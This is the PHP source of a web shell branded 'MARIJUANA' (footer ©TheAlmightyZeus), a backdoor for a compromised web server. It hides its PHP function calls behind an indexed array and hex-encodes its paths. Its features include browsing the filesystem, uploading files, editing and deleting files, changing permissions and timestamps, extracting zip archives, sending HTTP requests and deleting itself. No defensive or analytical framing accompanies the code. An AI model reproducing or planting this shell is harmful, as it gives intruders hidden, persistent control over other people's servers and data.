MARIJUANA
<a href=””>MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
<br />
<i class="far fa-lightbulb"></i>   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?> <b>PHP :</b> <?php echo $GNJ[1]();?>
<br />
<i class="far fa-folder"></i>
<?php
if(isset($_GET["d"])) {
$d = uhex($_GET["d"]);
$GNJ[2](uhex($_GET["d"]));
}
else {
$d = $GNJ[3]();
}
$k = $GNJ[4]("/(\\\|\/)/", $d );
foreach ($k as $m => $l) {
if($l=='' && $m==0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if($l == '') {
continue;
}
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if($i != $m) {
echo '2f';
}
}
echo '">'.$l.'</a>/';
}
?>
<br />
</div>
<div class="u">
<?php echo $_SERVER['SERVER_ADDR'];?> <i class="fas fa-link"></i>
<br />
<br />
<form method="post" enctype="multipart/form-data">
<label class="l w">
<input type="file" name="n[]" onchange="this.form.submit()" multiple> UPLOAD
</label>
</form>
<?php
$o_ = [
'<script>$.notify("',
'", { className:"1",autoHideDelay: 2000,position:"left bottom" });</script>'
];
$f = $o_[0].'OK!'.$o_[1];
$g = $o_[0].'ER!'.$o_[1];
if(isset($_FILES["n"])) {
$z = $_FILES["n"]["name"];
$r = count($z);
for( $i=0 ; $i < $r ; $i++ ) {
if($GNJ[5]($_FILES["n"]["tmp_name"][$i], $z[$i])) {
echo $f;
}
else {
echo $g;
}
}
}
?>
</div>
<?php
$a_ = '<table cellspacing="0" cellpadding="7" width="100%">
<thead>
<tr>
<th>';
$b_ = '</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
<tr>
<td class="x">';
$c_ = '</td>
</tr>
</tbody>
</table>';
$d_ = '<br />
<br />
<input type="submit" class="w" value=" OK " />
</form>';
if(isset($_GET["s"])) {
echo $a_.uhex($_GET["s"]).$b_.'
<textarea readonly="yes">'.$GNJ[15]($GNJ[6](uhex($_GET["s"]))).'</textarea>
<br />
<br />
<input onclick="location.href=\'?d='.$_GET["d"].'&e='.$_GET["s"].'\'" type="submit" class="w" value=" EDIT " />
'.$c_;
}
elseif(isset($_GET["y"])) {
echo $a_.'REQUEST'.$b_.'
<form method="post">
<input class="x" type="text" name="1" />
<input class="x" type="text" name="2" />
'.$d_.'
<br />
<textarea readonly="yes">';
if(isset($_POST["2"])) {
echo $GNJ[15](dre($_POST["1"], $_POST["2"]));
}
echo '</textarea>
'.$c_;
}
elseif(isset($_GET["e"])) {
echo $a_.uhex($_GET["e"]).$b_.'
<form method="post">
<textarea name="e" class="o">'.$GNJ[15]($GNJ[6](uhex($_GET["e"]))).'</textarea>
<br />
<br />
<span class="w">BASE64</span> :
<select id="b64" name="b64">
<option value="0">NO</option>
<option value="1">YES</option>
</select>
'.$d_.'
'.$c_.'
<script>
$("#b64").change(function() {
if($("#b64 option:selected").val() == 0) {
var X = $("textarea").val();
var Z = atob(X);
$("textarea").val(Z);
}
else {
var N = $("textarea").val();
var I = btoa(N);
$("textarea").val(I);
}
});
</script>';
if(isset($_POST["e"])) {
if($_POST["b64"] == "1") {
$ex = $GNJ[7]($_POST["e"]);
}
else {
$ex = $_POST["e"];
}
$fp = $GNJ[17](uhex($_GET["e"]), 'w');
if($GNJ[18]($fp, $ex)) {
OK();
}
else {
ER();
}
$GNJ[19]($fp);
}
}
elseif(isset($_GET["x"])) {
rec(uhex($_GET["x"]));
if($GNJ[26](uhex($_GET["x"]))) {
ER();
}
else {
OK();
}
}
elseif(isset($_GET["t"])) {
echo $a_.uhex($_GET["t"]).$b_.'
<form action="" method="post">
<input name="t" class="x" type="text" value="'.$GNJ[20]("Y-m-d H:i", $GNJ[21](uhex($_GET["t"]))).'">
'.$d_.'
'.$c_;
if( !empty($_POST["t"]) ) {
$p = $GNJ[33]($_POST["t"]);
if($p) {
if(!$GNJ[25](uhex($_GET["t"]),$p,$p)) {
ER();
}
else {
OK();
}
}
else {
ER();
}
}
}
elseif(isset($_GET["k"])) {
echo $a_.uhex($_GET["k"]).$b_.'
<form action="" method="post">
<input name="b" class="x" type="text" value="'.$GNJ[22]($GNJ[23]('%o', $GNJ[24](uhex($_GET["k"]))), -4).'">
'.$d_.'
'.$c_;
if(!empty($_POST["b"])) {
$x = $_POST["b"];
$t = 0;
for($i=strlen($x)-1;$i>=0;--$i)
$t += (int)$x[$i]*pow(8, (strlen($x)-$i-1));
if(!$GNJ[12](uhex($_GET["k"]), $t)) {
ER();
}
else {
OK();
}
}
}
elseif(isset($_GET["l"])) {
echo $a_.'+DIR'.$b_.'
<form action="" method="post">
<input name="l" class="x" type="text" value="">
'.$d_.'
'.$c_;
if(isset($_POST["l"])) {
if(!$GNJ[11]($_POST["l"])) {
ER();
}
else {
OK();
}
}
}
elseif(isset($_GET["q"])) {
if($GNJ[10](__FILE__)) {
$GNJ[38]($GNJ[9]);
header("Location: ".basename($_SERVER['PHP_SELF'])."");
exit();
}
else {
echo $g;
}
}
elseif(isset($_GET["n"])) {
echo $a_.'+FILE'.$b_.'
<form action="" method="post">
<input name="n" class="x" type="text" value="">
'.$d_.'
'.$c_;
if(isset($_POST["n"])) {
if(!$GNJ[25]($_POST["n"])) {
ER();
}
else {
OK();
}
}
}
elseif(isset($_GET["r"])) {
echo $a_.uhex($_GET["r"]).$b_.'
<form action="" method="post">
<input name="r" class="x" type="text" value="'.uhex($_GET["r"]).'">
'.$d_.'
'.$c_;
if(isset($_POST["r"])) {
if($GNJ[26]($_POST["r"])) {
ER();
}
else {
if($GNJ[27](uhex($_GET["r"]), $_POST["r"])) {
OK();
}
else {
ER();
}
}
}
}
elseif(isset($_GET["z"])) {
$zip = new ZipArchive;
$res = $zip->open(uhex($_GET["z"]));
if($res === TRUE) {
$zip->extractTo(uhex($_GET["d"]));
$zip->close();
OK();
} else {
ER();
}
}
else {
echo '<table cellspacing="0" cellpadding="7" width="100%">
<thead>
<tr>
<th width="44%">[ NAME ]</th>
<th width="11%">[ SIZE ]</th>
<th width="17%">[ PERM ]</th>
<th width="17%">[ DATE ]</th>
<th width="11%">[ ACT ]</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<a class="ajx" href="?d='.hex($d).'&n">+FILE</a>
<a class="ajx" href="?d='.hex($d).'&l">+DIR</a>
</td>
</tr>
';
$h = "";
$j = "";
$w = $GNJ[13]($d);
if($GNJ[28]($w) || $GNJ[29]($w)) {
foreach($w as $c){
$e = $GNJ[14]("\\", "/", $d);
if(!$GNJ[30]($c, ".zip")) {
$zi = '';
}
else {
$zi = '<a href="?d='.hex($e).'&z='.hex($c).'">U</a>';
}
if($GNJ[31]("$d/$c")) {
$o = "";
}
elseif(!$GNJ[32]("$d/$c")) {
$o = " h";
}
else {
$o = " w";
}
$s = $GNJ[34]("$d/$c") / 1024;
$s = round($s, 3);
if($s>=1024) {
$s = round($s/1024, 2) . " MB";
} else {
$s = $s . " KB";
}
if(($c != ".") && ($c != "..")){
($GNJ[8]("$d/$c")) ?
$h .= '<tr class="r">
<td>
<i class="far fa-folder m"></i>
<a class="ajx" href="?d='.hex($e).hex("/".$c).'">'.$c.'</a>
</td>
<td class="x">
dir
</td>
<td class="x">
<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
</td>
</tr>
'
:
$j .= '<tr class="r">
<td>
<i class="far fa-file m"></i> 
<a class="ajx" href="?d='.hex($e).'&s='.hex($c).'">'.$c.'</a>
</td>
<td class="x">
'.$s.'
</td>
<td class="x">
<a class="ajx'.$o.'" href="?d='.hex($e).'&k='.hex($c).'">'.x("$d/$c").'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&t='.hex($c).'">'.$GNJ[20]("Y-m-d H:i", $GNJ[21]("$d/$c")).'</a>
</td>
<td class="x">
<a class="ajx" href="?d='.hex($e).'&r='.hex($c).'">R</a>
<a class="ajx" href="?d='.hex($e).'&e='.hex($c).'">E</a>
<a href="?d='.hex($e).'&g='.hex($c).'">G</a>
'.$zi.'
<a href="?d='.hex($e).'&x='.hex($c).'">D</a>
</td>
</tr>
';
}
}
}
echo $h;
echo $j;
echo '</tbody>
<tfoot>
<tr>
<th class="et">
<a class="ajx" href="?d='.hex($e).'&y">REQUEST</a>
<a href="?d='.hex($e).'&q">EXIT</a>
</th>
<th class="et" width="11%"></th>
<th class="et" width="17%"></th>
<th class="et" width="17%"></th>
<th class="et" width="11%"></th>
</tr>
</tfoot>
</table>';
}
?>
</article>
<footer class="x">
©TheAlmightyZeus
</footer>
<?php
if(isset($_GET["1"])) {
echo $f;
}
elseif(isset($_GET["0"])) {
echo $g;
}
else {
NULL;
}
?>
<script src="//cdnjs.cloudflare.com/ajax/libs/notify/0.4.2/notify.min.js"></script>
<script>
$(".ajx").click(function(t){t.preventDefault();var e=$(this).attr("href");history.pushState("","",e),$.get(e,function(t){$("body").html(t)})});
</script>
</body>
</html>